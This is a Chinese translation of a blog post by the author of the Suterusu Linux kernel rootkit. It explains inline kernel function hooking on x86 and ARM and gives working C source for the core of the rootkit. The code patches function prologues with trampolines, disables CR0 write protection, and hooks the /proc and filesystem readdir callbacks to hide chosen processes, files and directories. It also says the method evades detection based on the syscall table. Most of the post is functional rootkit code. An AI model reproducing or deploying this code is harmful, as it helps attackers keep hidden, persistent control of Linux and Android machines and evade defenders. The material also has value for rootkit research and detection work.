rootkit 内核函数hook
转自:https://0x90syntax.wordpress.com/2016/02/21/suterusu-rootkitx86%e4%b8%8earm%e7%9a%84%e5%86%85%e8%81%94%e5%86%85%e6%a0%b8%e5%87%bd%e6%95%b0hooking/
Suterusu Rootkit:x86与ARM的内联内核函数Hooking
Translated By solve From Silic Forum
title:Suterusu Rootkit:Inline kernel Function Hooking on x86 and ARM
author:Michael Coppola
link:http://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/
介绍
几个月前,我添加了一个新的项目。(https://github.com/mncoppola/suterusu)通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Linux内核Rootkit以及什么能让他们进行挂钩(tick)。我进行了一些搜索主要是在http://packetstormsecurity.org/和其他一些Blog里找归档,但是让我吃惊的是现在公开的Linux Rootkit并没有多少。最突出的成果围绕在adore-ng(至少从表面来看在2007年前都没有更新),和一些杂项,比如suckit,kbeast和Phalanx。内核的变化每年都有,所以我希望能有一些更新鲜的干货。
所以,就像大多数项目一样,我说“Screw
it”,然后打开Vim。我会写一个我自己的,可以在最近的系统与架构上工作的Rootkit;我也会研究他们如何完成这些行为。我想正式地向您介绍Suterusu,我个人面向x86与ARM平台上的Linux
2.6及3.x的内核Rootkit项目。
在技术,设计与实现上有很多方法,但我会从一些基础开始着手。Suterusu目前显示的是一个大的特征数组(当然还会有更多升级),但它可能更适用于这些单独的博客文章。
Suterusu中的函数Hooking
大多数Rootkit在传统上利用在系统调用表中换出函数指针进行系统调用,但是这玩意儿已经能被智能Rootkit监测发现了。不走寻常路,Suterusu采用了不同的技术,修改目标函数以执行转移到置换程序进行Hooking。这可以通过检查下列四种函数来发现。
hijack_start()
hijack_pause()
hijack_resume()
hijack_stop()
这些函数通过与sym-hook结构的链表来跟踪挂钩。
struct sym_hook {
void *addr;
unsigned char o_code[HIJACK_SIZE];
unsigned char n_code[HIJACK_SIZE];
struct list_head list;
};
LIST_HEAD(hooked_syms);
要充分认识到hooking进程,我们得分析点代码。
x86上的函数Hooking
绝大部分的加权都由以作为实参指针的目标程序与“hook-with”例程的hijiack_start函数包揽。
void hijack_start ( void *target, void *new )
{
struct sym_hook *sa;
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
unsigned long o_cr0;
// push $addr; ret
memcpy(n_code, “\x68\x00\x00\x00\x00\xc3”, HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;
memcpy(o_code, target, HIJACK_SIZE);
o_cr0 = disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
restore_wp(o_cr0);
sa = kmalloc(sizeof(*sa), GFP_KERNEL);
if ( ! sa )
return;
sa->addr = target;
memcpy(sa->o_code, o_code, HIJACK_SIZE);
memcpy(sa->n_code, n_code, HIJACK_SIZE);
list_add(&sa->list, &hooked_syms);
}
一种小型的shellcode的缓冲区被初始化为“push dword 0;ret”系列,其中被推入的值(pushed
value)被用hook_with函数的指针修补(patch)。HIJACK_SIZE的字节数(相当于shellcode的大小)被从目标函数中复制,序言和被修补的shellcode则进行覆盖。在这一点上,所有调用目标函数的函数都将被重定向到我们的hook_with函数。
最后一步,将目标函数的指针,原始代码及挂钩代码存储到挂钩的链表中,从而完成该操作。其余劫持函数在此链表上操作。
hijiack_pause将临时卸载所需挂钩:
void hijack_pause ( void *target )
{
struct sym_hook *sa;
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->o_code, HIJACK_SIZE);
restore_wp(o_cr0);
}
}
hijiack_resume又重新安装所需挂钩:
void hijack_resume ( void *target )
{
struct sym_hook *sa;
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->n_code, HIJACK_SIZE);
restore_wp(o_cr0);
}
}
hijiack_stop()卸载挂钩并把它从链表中删除:
void hijack_stop ( void *target )
{
struct sym_hook *sa;
list_for_each_entry ( sa, &hooked_syms, list )
if ( target == sa->addr )
{
unsigned long o_cr0 = disable_wp();
memcpy(target, sa->o_code, HIJACK_SIZE);
restore_wp(o_cr0);
list_del(&sa->list);
kfree(sa);
break;
}
}
x86中的写入保护 因为内核页面被标记为只读,试图在这个区域覆盖主函数序言会产生一个内核错误。这种保护可能一般会用在cr0寄存器中的WP位设置为0,在CPU上禁用写保护加以避免。维基百科上关于寄存器的文章也印证了此属性。
bit 16
name WP
full name Write Protect
description Determines whether the CPU can write to pages marked read-only
WP位将需要被设定并在代码中的多个复合点(multiple point)重置,所以它将使程序感知(?)抽象化操作。下列代码源于PaX
Project,特别是native_pax_open_kernel()和native_pax_close_kernel()例程。要格外小心SMP系统中坑爹的调用而引发一个潜在的竞争条件,正如Dan
Rosenberg的一篇博文所说:
inline unsigned long disable_wp ( void )
{
unsigned long cr0;
preempt_disable();
barrier();
cr0 = read_cr0();
write_cr0(cr0 & ~X86_CR0_WP);
return cr0;
}
inline void restore_wp ( unsigned long cr0 )
{
write_cr0(cr0);
barrier();
preempt_enable_no_resched();
}
ARM上的函数Hooking
Hooking例程中hijack_*set一些显著的变化取决于是否被编译为x86或ARM实现。例如,WP位的概念在ARM中并不存在,所以必须特别注意数据处理和体系结构引入的指令缓存。而在x86或x86_64
中确实存在数据与指令缓存的概念,但这样的功能并未对开发造成障碍。 hijack_start()的一个适用于ARM的版本进行修改以适应这些新的架构特性。
void hijack_start ( void *target, void *new )
{
struct sym_hook *sa;
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
if ( (unsigned long)target % 4 == 0 )
{
// ldr pc, [pc, #0]; .long addr; .long addr
memcpy(n_code, “\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00”, HIJACK_SIZE);
*(unsigned long *)&n_code[4] = (unsigned long)new;
*(unsigned long *)&n_code[8] = (unsigned long)new;
}
else // Thumb
{
// add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr
memcpy(n_code, “\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00”, HIJACK_SIZE);
*(unsigned long *)&n_code[8] = (unsigned long)new;
target–;
}
memcpy(o_code, target, HIJACK_SIZE);
memcpy(target, n_code, HIJACK_SIZE);
cacheflush(target, HIJACK_SIZE);
sa = kmalloc(sizeof(*sa), GFP_KERNEL);
if ( ! sa )
return;
sa->addr = target;
memcpy(sa->o_code, o_code, HIJACK_SIZE);
memcpy(sa->n_code, n_code, HIJACK_SIZE);
list_add(&sa->list, &hooked_syms);
}
ARM上的指令缓存
大部
分Android设备不具备只读内核页面的权限,所以至少现在我们可以放弃一些潜在认定为“巫术”(voodoo magic)之类的玩意儿,写入受保护的内存分区。它仍然必要,但是,在执行函数挂钩时应考虑ARM指令缓存的概念。
ARM的CPU把性能优势用于数据缓存与指令缓存,然而,就地修改代码可能使内存中的实际指令与指令缓存不连贯。根据官方的ARM技术参考,开发自我修改代码时,这个问题变得显而易见。解决的方法是当内核文本修改时简单刷新指令缓存(这由向内核例程flush_icache_range()发起调用):
void cacheflush ( void *begin, unsigned long size )
{
flush_icache_range((unsigned long)begin, (unsigned long)begin + size);
}
内联挂钩的优缺点
就大多数技术而言,内联函数挂钩与简单的劫持系统调用表相比,存在各种利弊。 优点1:任何函数都可能被劫持,不仅仅是系统调用。
优点2:更少地
在Rootkit中实现,所以它更难
被Rootkit检测发现。由于ASM的灵活性,逃避被简易挂钩检测引擎发现更容易了。x86平台的多种检测逃避技术在《x86 API Hooking Demystified
》中可以找到。
优点3:内联函数挂钩可被应用于具有最小/不修改的用户态。Northeastern’s HPC Lab开发出了一个工作
于Android端口的分布式多线程检查点(DMTCP)的检查点应用,它可以简单复制粘贴hijiack_*的全部例程,并只能修改为使用用户链表。
缺点1:目前挂钩的实现不是线程安全的。通过hijack_pause()函数暂时脱钩,打开其他线程的竞争窗口以在hijack_resume()被调用前执行脱钩函数潜在的解决方案包括狡猾地使用锁定以及永久劫持目标函数和在hook-with例程中插入额外的逻辑。然而,在执行可变长度指令架构(x86/_64)和PC/IP相对寻址(x86_64和ARM)特征化架构的原始函数序言时,要特别注意。
缺点2:最近另一种有害可能是递归使用挂钩。执行不力相比于任何不可克服的设计缺陷的问题更是如此,有各种问题的解决方案使您的hook-with函数意外调用被挂钩的函数本身导致无限递归。这个问题的参考文章也是[url=http://jbremer.org/x86-api-hooking-demystified/#ah-recursion]《x86 API Hooking Demystified》。[/url]
隐藏进程,文件和目录
一旦开始使用一个可靠的挂钩“框架”,拦截有趣的函数与做有趣的事情将相当琐碎。一个Rootkit应做的最基本的事情之一便是隐藏进程与文件系统对象,这两者都可能使用相同的基础技术完成。
在Linux内核中,file_operatuons结构的一个或多个实例关联了每个支持它们的文件系统(通常是一个文件实例一个目录实例,但是如果深入到
内核源码,你会发现文件系统是一个异端)。这些结构包括指向与不同文件操作关联的例程的指针,比如读取,写入,mmap’ing,修改权限等。为了解释目标,我们将测试file_operations结构在ext3的目录对象的实例:
const struct file_operations ext3_dir_operations = {
.llseek = generic_file_llseek,
.read = generic_read_dir,
.readdir = ext3_readdir,
.unlocked_ioctl = ext3_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext3_compat_ioctl,
#endif
.fsync = ext3_sync_file,
.release = ext3_release_dir,
};
为了隐藏文件系统中的一个对象,简单挂钩readdir函数并筛选出它的输出中任何不被期望出现的项目是可能的。通过查找目标对象的文件结构
,Suterusu动态获取指向文件系统读取目录这一例行操作的指针,以进行系统级隐藏。
void *get_vfs_readdir ( const char *path )
{
void *ret;
struct file *filep;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
ret = filep->f_op->readdir;
filp_close(filep, 0);
return ret;
}
实际的hook进程(项目隐藏在/proc中)看起来就像这样:
#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 30)
proc_readdir = get_vfs_readdir(“/proc”);
#endif
hijack_start(proc_readdir, &n_proc_readdir);
内核版本检查是为了应对在2.6.31版本中实现的改变,即从include/linux/proc_fs.h中消除导出proc_readdir()符号。在以前的版本中在外部链接检索指针值还是可能的,但现在Rootkit开发者被迫使用手动方式。
要执行/proc中一个对象的实际隐藏,
Suterusu使用下列例程将proc_readdir()挂钩
static int (*o_proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);
int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir )
{
int ret;
o_proc_filldir = filldir;
hijack_pause(proc_readdir);
ret = proc_readdir(file, dirent, &n_proc_filldir);
hijack_resume(proc_readdir);
return ret;
}
作为对目录中每个项目执行的回调,filldir函数才承担了繁重的工作。这是被替换为恶意的n_proc_filldir()函数:
static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_proc *hp;
char *endp;
long pid;
pid = simple_strtol(name, &endp, 10);
list_for_each_entry ( hp, &hidden_procs, list )
if ( pid == hp->pid )
return 0;
return o_proc_filldir(__buf, name, namelen, offset, ino, d_type);
}
因为其目的是通过劫持/proc的readdir/filldir例程来隐藏进程,Suterusu简单的执行针对用户希望隐藏的所有PID链表的匹配对象名称,如果发现匹配,回调返回0,将项目从目录列表中隐藏,否则,执行原始proc_filldir()函数,返回值。
同样的概念也适用于隐藏文件与目录,除了与一个直接的字符串匹配的对象名称而并非首先将PID名转换为数字类型。
static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
if ( ! strcmp(name, hf->name) )
return 0;
return o_root_filldir(__buf, name, namelen, offset, ino, d_type);
}